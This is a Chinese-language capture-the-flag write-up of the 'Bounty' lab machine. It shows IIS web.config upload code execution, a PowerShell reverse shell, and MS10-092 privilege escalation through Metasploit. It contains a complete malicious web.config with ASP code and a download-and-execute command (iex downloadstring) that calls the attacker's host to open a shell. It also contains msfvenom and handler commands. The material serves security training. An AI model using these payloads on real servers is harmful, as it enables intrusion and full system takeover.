[Meachines] [Easy] bounty web.config 文件上传代码注入+内核MS10-092权限提升
字数 971 2025-08-20 18:18:40

IIS web.config 文件上传漏洞利用与权限提升教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.93 --min-rate 1000 -sC -sV

发现开放端口:

  • 80/tcp: Microsoft IIS httpd 7.5

1.2 目录爆破

使用feroxbuster进行目录扫描:

feroxbuster -u http://10.10.10.93/ -x asp,aspx,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 100 -s 200,301 -n

2. 漏洞发现与利用

2.1 文件上传测试

发现可以上传文件到/UploadedFiles/目录,但无法直接执行上传的ASPX文件。

2.2 文件后缀爆破

通过Burp Suite爆破发现.config后缀文件允许上传。

2.3 web.config文件注入

上传包含恶意代码的web.config文件:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%Response.write("it is running the ASP code if you can see 3 by opening the web.config file!")
Response.write(1+2)
Response.write("

访问http://10.10.10.93/uploadedfiles/web.config验证代码执行。

2.4 获取反向Shell

  1. 准备PowerShell反向Shell脚本:
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.24 -Port 10032'>>Invoke-PowerShellTcp.ps1
  1. 上传修改后的web.config文件:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
        <hiddenSegments>
          <remove segment="web.config" />
        </hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<%@ Language=VBScript %>
<% call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.24/Invoke-PowerShellTcp.ps1')")%>
  1. 访问上传的web.config文件触发反向Shell连接。

3. 权限提升

3.1 初始访问

获取到meterpreter会话后,查看用户权限和系统信息:

systeminfo

3.2 使用Metasploit进行权限提升

  1. 设置监听器:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 10033
run
  1. 生成payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10033 -f psh -o recv.ps1
  1. 在目标机器上下载并执行payload:
iex(new-object net.webclient).downloadstring('http://10.10.16.24/recv.ps1')

3.3 漏洞扫描

使用Metasploit的本地漏洞扫描模块:

use multi/recon/local_exploit_suggester
set session 2
run

3.4 利用MS10-092漏洞提权

use windows/local/ms10_092_schelevator
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.16.24
set session 2
set AutoCheck false
run

4. 获取flag

  • 用户flag: be952a25cdc0106a03cbc3deb5d7fd19
  • 系统flag: 2191c45301ab454267720c13689e9b8c

5. 关键点总结

  1. IIS 7.5允许上传web.config文件并执行ASP代码
  2. 通过修改web.config的handlers配置可以绕过安全限制
  3. 使用PowerShell反向Shell获取初始访问权限
  4. MS10-092 (Task Scheduler漏洞)可用于权限提升
  5. 使用Metasploit的local_exploit_suggester模块可以快速识别可利用的本地漏洞

6. 防御措施

  1. 限制web.config文件的上传和修改
  2. 禁用不必要的HTTP方法
  3. 及时安装Windows安全更新
  4. 限制服务器上的脚本执行权限
  5. 实施严格的输入验证和文件上传过滤
IIS web.config 文件上传漏洞利用与权限提升教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 发现开放端口: 80/tcp: Microsoft IIS httpd 7.5 1.2 目录爆破 使用feroxbuster进行目录扫描: 2. 漏洞发现与利用 2.1 文件上传测试 发现可以上传文件到 /UploadedFiles/ 目录,但无法直接执行上传的ASPX文件。 2.2 文件后缀爆破 通过Burp Suite爆破发现 .config 后缀文件允许上传。 2.3 web.config文件注入 上传包含恶意代码的web.config文件: 访问 http://10.10.10.93/uploadedfiles/web.config 验证代码执行。 2.4 获取反向Shell 准备PowerShell反向Shell脚本: 上传修改后的web.config文件: 访问上传的web.config文件触发反向Shell连接。 3. 权限提升 3.1 初始访问 获取到meterpreter会话后,查看用户权限和系统信息: 3.2 使用Metasploit进行权限提升 设置监听器: 生成payload: 在目标机器上下载并执行payload: 3.3 漏洞扫描 使用Metasploit的本地漏洞扫描模块: 3.4 利用MS10-092漏洞提权 4. 获取flag 用户flag: be952a25cdc0106a03cbc3deb5d7fd19 系统flag: 2191c45301ab454267720c13689e9b8c 5. 关键点总结 IIS 7.5允许上传web.config文件并执行ASP代码 通过修改web.config的handlers配置可以绕过安全限制 使用PowerShell反向Shell获取初始访问权限 MS10-092 (Task Scheduler漏洞)可用于权限提升 使用Metasploit的local_ exploit_ suggester模块可以快速识别可利用的本地漏洞 6. 防御措施 限制web.config文件的上传和修改 禁用不必要的HTTP方法 及时安装Windows安全更新 限制服务器上的脚本执行权限 实施严格的输入验证和文件上传过滤